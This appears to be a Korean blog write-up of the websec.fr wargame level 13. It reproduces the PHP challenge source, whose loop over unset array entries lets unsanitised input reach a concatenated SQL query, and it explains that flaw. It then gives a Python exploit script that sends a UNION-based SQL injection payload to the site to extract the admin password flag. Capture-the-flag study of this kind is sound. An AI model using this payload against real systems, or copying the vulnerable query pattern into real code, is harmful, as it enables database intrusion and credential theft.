source.php
<!-- Yet an other fine level, based on a real-world vuln discovered by @caillou -->
<?php
// Defines $flag
include 'flag.php';
$db = new PDO('sqlite::memory:');
$db->exec('CREATE TABLE users (
user_id INTEGER PRIMARY KEY,
user_name TEXT NOT NULL,
user_privileges INTEGER NOT NULL,
user_password TEXT NOT NULL
)');
$db->prepare("INSERT INTO users VALUES(0, 'admin', 0, '$flag');")->execute();
for($i=1; $i<25; $i++) {
$pass = md5(uniqid());
$user = "user_" . substr(crc32($pass), 0, 2);
$db->prepare("INSERT INTO users VALUES($i, '$user', 1, '$pass');")->execute();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level Thirteen</title>
<link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>LevelThirteen <small> - A privilege offer</small></h1>
</div>
<div class="row">
<p class="lead">
A simple tool to display privileges, so you can check them.
As usual, the source code can be found <a href="source.php">here</a>.
</p>
</div>
</div>
<div class="container">
<div class="row">
<form class="form-inline" method='get'>
Ids to display
<input name='ids' class='form-control' type='text' value='1,2,3'>
<input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
</form>
</div>
<?php
if (isset($_GET['ids'])) {
if ( ! is_string($_GET['ids'])) {
die("Don't be silly.");
}
if ( strlen($_GET['ids']) > 70) {
die("Please don't check all the privileges at once.");
}
$tmp = explode(',',$_GET['ids']);
for ($i = 0; $i < count($tmp); $i++ ) {
$tmp[$i] = (int)$tmp[$i];
if( $tmp[$i] < 1 ) {
unset($tmp[$i]);
}
}
$selector = implode(',', array_unique($tmp));
$query = "SELECT user_id, user_privileges, user_name
FROM users
WHERE (user_id in (" . $selector . "));";
$stmt = $db->query($query);
echo '<br>';
echo '<div class="well">';
echo '<ul>';
while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) {
echo "<li>";
echo "User <em>" . $row['user_name'] . "</em>";
echo " with id <code>" . $row['user_id'] . '</code>';
echo " has <b>" . ($row['user_privileges'] == 0?"all":"no") . "</b> privileges.";
echo "</li>\n";
}
echo "</ul>";
echo "</div>";
}
?>
</div>
</div>
</body>
</html>
explode 후 배열 카운트를 초기 값으로 고정시켜 사용하지 않고 반복문 돌때마다 다시 구하고 있다. 이 때문에 unset 으로 배열 길이를 줄여놓으면 뒤쪽에 정수형이 아닌 값들이 반복문안으로 못들어와서 취약점이 터진다.
exploit.py
import requests
def getFlag(payload):
url = "http://websec.fr/level13/index.php"
params = {"ids":payload,"submit":"go"}
result = requests.get(url,params=params).text
start = result.find("WEBSEC{")
print result[start:]
payload = ",,,,)) union select 1,2,user_password from users--"
getFlag(payload)
'Wargame > websec.fr' 카테고리의 다른 글
websec.fr easy level 24 (0) | 2019.08.22 |
---|---|
websec.fr easy level 22 (0) | 2019.08.22 |
websec.fr easy level20 (0) | 2019.08.22 |
Websec.fr babysteps Level28 (0) | 2018.12.13 |
Websec.fr babysteps level 25 (0) | 2018.12.12 |